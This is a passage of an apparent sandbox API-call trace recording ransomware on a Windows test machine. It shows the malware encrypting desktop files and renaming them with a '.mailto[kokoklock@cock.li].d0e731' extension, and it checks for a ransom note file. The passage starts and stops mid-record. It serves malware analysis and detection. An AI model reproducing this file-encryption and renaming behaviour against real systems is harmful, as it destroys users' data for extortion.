"c:\\users\\fd1hvy\\desktop\\of-azbelv27o.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.319] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\Of-AzbElV27O.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.319] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97bb8) returned 1 [0172.319] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\Of-AzbElV27O.mp4.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.319] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa4000 [0172.319] wcscpy (in: _Dest=0x2fa4000, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.319] wcscat (in: _Dest=0x2fa4000, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.319] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.320] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4000) returned 1 [0172.320] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3b80) returned 1 [0172.320] RtlExitUserThread (Status=0x1) Thread: id = 1949 os_tid = 0xe40 [0170.750] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\OMigOPyv.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\omigopyv.wav.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.165] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\OMigOPyv.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.165] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\OMigOPyv.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\omigopyv.wav.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0172.165] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x13eff99c | out: lpFileSize=0x13eff99c*=13657) returned 1 [0172.165] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x3555, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.165] ReadFile (in: hFile=0x5d4, lpBuffer=0x13eff970, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x13eff96c, lpOverlapped=0x0 | out: lpBuffer=0x13eff970*, lpNumberOfBytesRead=0x13eff96c*=0x4, lpOverlapped=0x0) returned 1 [0172.166] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.166] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.166] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058160 [0172.166] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057d28 [0172.166] NtQuerySystemTime (in: CurrentTime=0x13eff948 | out: CurrentTime=0x13eff948*=132121213294826966) returned 0x0 [0172.166] RtlRandom (in: Seed=0x13eff954 | out: Seed=0x13eff954) returned 0xeac578da [0172.166] RtlRandom (in: Seed=0x13eff954 | out: Seed=0x13eff954) returned 0x51755460 [0172.166] RtlRandom (in: Seed=0x13eff954 | out: Seed=0x13eff954) returned 0x4c78ff4f [0172.166] RtlRandom (in: Seed=0x13eff954 | out: Seed=0x13eff954) returned 0x2424ea1b [0172.166] RtlRandom (in: Seed=0x13eff954 | out: Seed=0x13eff954) returned 0x3a99a9fa [0172.166] RtlRandom (in: Seed=0x13eff954 | out: Seed=0x13eff954) returned 0x37cea05a [0172.166] RtlRandom (in: Seed=0x13eff954 | out: Seed=0x13eff954) returned 0x75e6e297 [0172.167] RtlRandom (in: Seed=0x13eff954 | out: Seed=0x13eff954) returned 0xd09c450e [0172.167] RtlRandom (in: Seed=0x13eff954 | out: Seed=0x13eff954) returned 0x56dc2e5a [0172.167] RtlRandom (in: Seed=0x13eff954 | out: Seed=0x13eff954) returned 0xfabbfdef [0172.167] RtlRandom (in: Seed=0x13eff954 | out: Seed=0x13eff954) returned 0xc12c58a3 [0172.167] RtlRandom (in: Seed=0x13eff954 | out: Seed=0x13eff954) returned 0x5b208556 [0172.167] RtlRandom (in: Seed=0x13eff954 | out: Seed=0x13eff954) returned 0xc7942ea1 [0172.167] RtlRandom (in: Seed=0x13eff954 | out: Seed=0x13eff954) returned 0x334889c2 [0172.167] RtlRandom (in: Seed=0x13eff954 | out: Seed=0x13eff954) returned 0xcbe9adef [0172.167] RtlRandom (in: Seed=0x13eff954 | out: Seed=0x13eff954) returned 0x80bec6bf [0172.167] RtlRandom (in: Seed=0x13eff954 | out: Seed=0x13eff954) returned 0x9bfc967 [0172.167] RtlRandom (in: Seed=0x13eff954 | out: Seed=0x13eff954) returned 0xb2598fe9 [0172.167] RtlRandom (in: Seed=0x13eff954 | out: Seed=0x13eff954) returned 0xf2f51101 [0172.167] RtlRandom (in: Seed=0x13eff954 | out: Seed=0x13eff954) returned 0x7526e4e6 [0172.167] RtlRandom (in: Seed=0x13eff954 | out: Seed=0x13eff954) returned 0x1ed8cf86 [0172.167] RtlRandom (in: Seed=0x13eff954 | out: Seed=0x13eff954) returned 0xdf727cdd [0172.167] RtlRandom (in: Seed=0x13eff954 | out: Seed=0x13eff954) returned 0x1e928fa4 [0172.167] RtlRandom (in: Seed=0x13eff954 | out: Seed=0x13eff954) returned 0xf250ffc [0172.167] RtlRandom (in: Seed=0x13eff954 | out: Seed=0x13eff954) returned 0x7ca90cd8 [0172.167] RtlRandom (in: Seed=0x13eff954 | out: Seed=0x13eff954) returned 0x7449db09 [0172.167] RtlRandom (in: Seed=0x13eff954 | out: Seed=0x13eff954) returned 0x94ade72b [0172.167] RtlRandom (in: Seed=0x13eff954 | out: Seed=0x13eff954) returned 0x9f56955e [0172.167] RtlRandom (in: Seed=0x13eff954 | out: Seed=0x13eff954) returned 0x55276576 [0172.167] RtlRandom (in: Seed=0x13eff954 | out: Seed=0x13eff954) returned 0xa4001aec [0172.167] RtlRandom (in: Seed=0x13eff954 | out: Seed=0x13eff954) returned 0x606f30ff [0172.167] RtlRandom (in: Seed=0x13eff954 | out: Seed=0x13eff954) returned 0x3d66d4eb [0172.177] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057d50 [0172.179] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013698 [0172.179] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057d78 [0172.179] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013698) returned 1 [0172.179] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.179] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0172.179] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0172.179] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057dc8 [0172.179] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057dc8) returned 1 [0172.179] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.179] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.179] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x3559, lpNumberOfBytesRead=0x13eff948, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x13eff948*=0x3559, lpOverlapped=0x0) returned 1 [0172.180] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x13eff910 | out: lpNewFilePointer=0x0) returned 1 [0172.180] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x3559, lpNumberOfBytesWritten=0x13eff944, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x13eff944*=0x3559, lpOverlapped=0x0) returned 1 [0172.180] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.180] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057dc8 [0172.181] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057dc8) returned 1 [0172.181] WriteFile (in: hFile=0x5d4, lpBuffer=0x30580c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13eff940, lpOverlapped=0x0 | out: lpBuffer=0x30580c0*, lpNumberOfBytesWritten=0x13eff940*=0x20, lpOverlapped=0x0) returned 1 [0172.181] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.181] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.181] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.181] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0172.181] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0172.181] WriteFile (in: hFile=0x5d4, lpBuffer=0x3057d78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x13eff96c, lpOverlapped=0x0 | out: lpBuffer=0x3057d78*, lpNumberOfBytesWritten=0x13eff96c*=0x8, lpOverlapped=0x0) returned 1 [0172.181] WriteFile (in: hFile=0x5d4, lpBuffer=0x13eff984*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13eff96c, lpOverlapped=0x0 | out: lpBuffer=0x13eff984*, lpNumberOfBytesWritten=0x13eff96c*=0x4, lpOverlapped=0x0) returned 1 [0172.181] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13eff96c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x13eff96c*=0x4, lpOverlapped=0x0) returned 1 [0172.181] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x13eff96c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x13eff96c*=0x6c, lpOverlapped=0x0) returned 1 [0172.182] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058160*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13eff96c, lpOverlapped=0x0 | out: lpBuffer=0x3058160*, lpNumberOfBytesWritten=0x13eff96c*=0x20, lpOverlapped=0x0) returned 1 [0172.182] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13eff96c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x13eff96c*=0x4, lpOverlapped=0x0) returned 1 [0172.182] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058160) returned 1 [0172.182] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057d50) returned 1 [0172.182] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057d78) returned 1 [0172.182] CloseHandle (hObject=0x5d4) returned 1 [0172.298] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xce) returned 0x2ff1880 [0172.298] wcscpy (in: _Dest=0x2ff1880, _Source="C:\\Users\\FD1HVy\\Desktop\\OMigOPyv.wav.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\OMigOPyv.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\OMigOPyv.wav.mailto[kokoklock@cock.li].d0e731" [0172.298] wcscat (in: _Dest=0x2ff1880, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\OMigOPyv.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\OMigOPyv.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.298] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\OMigOPyv.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\omigopyv.wav.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\OMigOPyv.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\omigopyv.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.332] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\OMigOPyv.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.332] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff1880) returned 1 [0172.332] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\OMigOPyv.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.332] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa4660 [0172.332] wcscpy (in: _Dest=0x2fa4660, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.332] wcscat (in: _Dest=0x2fa4660, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.332] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.333] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4660) returned 1 [0172.333] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcfd18) returned 1 [0172.333] RtlExitUserThread (Status=0x1) Thread: id = 1950 os_tid = 0xe48 [0170.750] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\oPAcO9PRdh8ceIpSI.odp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\opaco9prdh8ceipsi.odp.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.110] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\oPAcO9PRdh8ceIpSI.odp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.110] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\oPAcO9PRdh8ceIpSI.odp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\opaco9prdh8ceipsi.odp.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0172.110] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x13f7fab4 | out: lpFileSize=0x13f7fab4*=68895) returned 1 [0172.110] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x10d1b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.110] ReadFile (in: hFile=0x5d4, lpBuffer=0x13f7fa88, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x13f7fa84, lpOverlapped=0x0 | out: lpBuffer=0x13f7fa88*, lpNumberOfBytesRead=0x13f7fa84*=0x4, lpOverlapped=0x0) returned 1 [0172.112] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.112] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.112] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058160 [0172.112] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057d00 [0172.112] NtQuerySystemTime (in: CurrentTime=0x13f7fa60 | out: CurrentTime=0x13f7fa60*=132121213294201973) returned 0x0 [0172.112] RtlRandom (in: Seed=0x13f7fa6c | out: Seed=0x13f7fa6c) returned 0x23767106 [0172.112] RtlRandom (in: Seed=0x13f7fa6c | out: Seed=0x13f7fa6c) returned 0x6270a5b1 [0172.112] RtlRandom (in: Seed=0x13f7fa6c | out: Seed=0x13f7fa6c) returned 0x5cd297f9 [0172.112] RtlRandom (in: Seed=0x13f7fa6c | out: Seed=0x13f7fa6c) returned 0xe4455ad8 [0172.112] RtlRandom (in: Seed=0x13f7fa6c | out: Seed=0x13f7fa6c) returned 0x1316c2f0 [0172.112] RtlRandom (in: Seed=0x13f7fa6c | out: Seed=0x13f7fa6c) returned 0x914f2027 [0172.112] RtlRandom (in: Seed=0x13f7fa6c | out: Seed=0x13f7fa6c) returned 0x90ba410b [0172.112] RtlRandom (in: Seed=0x13f7fa6c | out: Seed=0x13f7fa6c) returned 0x6ba62d89 [0172.112] RtlRandom (in: Seed=0x13f7fa6c | out: Seed=0x13f7fa6c) returned 0xb98bd873 [0172.112] RtlRandom (in: Seed=0x13f7fa6c | out: Seed=0x13f7fa6c) returned 0x1d224f55 [0172.112] RtlRandom (in: Seed=0x13f7fa6c | out: Seed=0x13f7fa6c) returned 0x6cd38f4a [0172.112] RtlRandom (in: Seed=0x13f7fa6c | out: Seed=0x13f7fa6c) returned 0xc7644e12 [0172.112] RtlRandom (in: Seed=0x13f7fa6c | out: Seed=0x13f7fa6c) returned 0xf14eeed2 [0172.112] RtlRandom (in: Seed=0x13f7fa6c | out: Seed=0x13f7fa6c) returned 0xef1c992a [0172.112] RtlRandom (in: Seed=0x13f7fa6c | out: Seed=0x13f7fa6c) returned 0x6a58ba8a [0172.112] RtlRandom (in: Seed=0x13f7fa6c | out: Seed=0x13f7fa6c) returned 0x11a59cc9 [0172.112] RtlRandom (in: Seed=0x13f7fa6c | out: Seed=0x13f7fa6c) returned 0x4f3dfbf3 [0172.112] RtlRandom (in: Seed=0x13f7fa6c | out: Seed=0x13f7fa6c) returned 0x1281663e [0172.112] RtlRandom (in: Seed=0x13f7fa6c | out: Seed=0x13f7fa6c) returned 0xdc4259bd [0172.112] RtlRandom (in: Seed=0x13f7fa6c | out: Seed=0x13f7fa6c) returned 0xc68c545b [0172.112] RtlRandom (in: Seed=0x13f7fa6c | out: Seed=0x13f7fa6c) returned 0x45a3832e [0172.112] RtlRandom (in: Seed=0x13f7fa6c | out: Seed=0x13f7fa6c) returned 0x64853789 [0172.112] RtlRandom (in: Seed=0x13f7fa6c | out: Seed=0x13f7fa6c) returned 0xb4318113 [0172.113] RtlRandom (in: Seed=0x13f7fa6c | out: Seed=0x13f7fa6c) returned 0x1df858c8 [0172.113] RtlRandom (in: Seed=0x13f7fa6c | out: Seed=0x13f7fa6c) returned 0xd21501ac [0172.113] RtlRandom (in: Seed=0x13f7fa6c | out: Seed=0x13f7fa6c) returned 0xf9d8cf27 [0172.113] RtlRandom (in: Seed=0x13f7fa6c | out: Seed=0x13f7fa6c) returned 0xa02e4fb3 [0172.113] RtlRandom (in: Seed=0x13f7fa6c | out: Seed=0x13f7fa6c) returned 0xb0d0e84 [0172.113] RtlRandom (in: Seed=0x13f7fa6c | out: Seed=0x13f7fa6c) returned 0x1e10da20 [0172.113] RtlRandom (in: Seed=0x13f7fa6c | out: Seed=0x13f7fa6c) returned 0xe56c2790 [0172.113] RtlRandom (in: Seed=0x13f7fa6c | out: Seed=0x13f7fa6c) returned 0x5a27464d [0172.113] RtlRandom (in: Seed=0x13f7fa6c | out: Seed=0x13f7fa6c) returned 0x54900440 [0172.124] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057d28 [0172.126] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013698 [0172.126] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057d50 [0172.126] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013698) returned 1 [0172.127] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.127] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.127] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.127] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x13f7fa38, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x13f7fa38*=0x4096, lpOverlapped=0x0) returned 1 [0172.128] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.128] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0172.128] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0172.128] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057d78 [0172.128] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057d78) returned 1 [0172.128] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.128] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.128] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057d78 [0172.161] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057d78) returned 1 [0172.161] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0172.161] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0172.161] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x13f7fa38, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x13f7fa38*=0x4096, lpOverlapped=0x0) returned 1 [0172.161] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.161] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x10d1f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.161] WriteFile (in: hFile=0x5d4, lpBuffer=0x30580c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13f7fa70, lpOverlapped=0x0 | out: lpBuffer=0x30580c0*, lpNumberOfBytesWritten=0x13f7fa70*=0x20, lpOverlapped=0x0) returned 1 [0172.161] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.162] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.162] WriteFile (in: hFile=0x5d4, lpBuffer=0x3057d50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x13f7fa84, lpOverlapped=0x0 | out: lpBuffer=0x3057d50*, lpNumberOfBytesWritten=0x13f7fa84*=0x8, lpOverlapped=0x0) returned 1 [0172.162] WriteFile (in: hFile=0x5d4, lpBuffer=0x13f7fa9c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13f7fa84, lpOverlapped=0x0 | out: lpBuffer=0x13f7fa9c*, lpNumberOfBytesWritten=0x13f7fa84*=0x4, lpOverlapped=0x0) returned 1 [0172.162] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13f7fa84, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x13f7fa84*=0x4, lpOverlapped=0x0) returned 1 [0172.162] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x13f7fa84, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x13f7fa84*=0x6c, lpOverlapped=0x0) returned 1 [0172.162] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058160*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13f7fa84, lpOverlapped=0x0 | out: lpBuffer=0x3058160*, lpNumberOfBytesWritten=0x13f7fa84*=0x20, lpOverlapped=0x0) returned 1 [0172.162] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13f7fa84, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x13f7fa84*=0x4, lpOverlapped=0x0) returned 1 [0172.162] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058160) returned 1 [0172.162] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057d28) returned 1 [0172.162] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057d50) returned 1 [0172.162] CloseHandle (hObject=0x5d4) returned 1 [0172.297] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe0) returned 0x2f98150 [0172.297] wcscpy (in: _Dest=0x2f98150, _Source="C:\\Users\\FD1HVy\\Desktop\\oPAcO9PRdh8ceIpSI.odp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\oPAcO9PRdh8ceIpSI.odp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\oPAcO9PRdh8ceIpSI.odp.mailto[kokoklock@cock.li].d0e731" [0172.297] wcscat (in: _Dest=0x2f98150, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\oPAcO9PRdh8ceIpSI.odp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\oPAcO9PRdh8ceIpSI.odp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.297] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\oPAcO9PRdh8ceIpSI.odp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\opaco9prdh8ceipsi.odp.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\oPAcO9PRdh8ceIpSI.odp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\opaco9prdh8ceipsi.odp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.334] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\oPAcO9PRdh8ceIpSI.odp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.334] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f98150) returned 1 [0172.334] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\oPAcO9PRdh8ceIpSI.odp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.334] RtlAllocateHeap 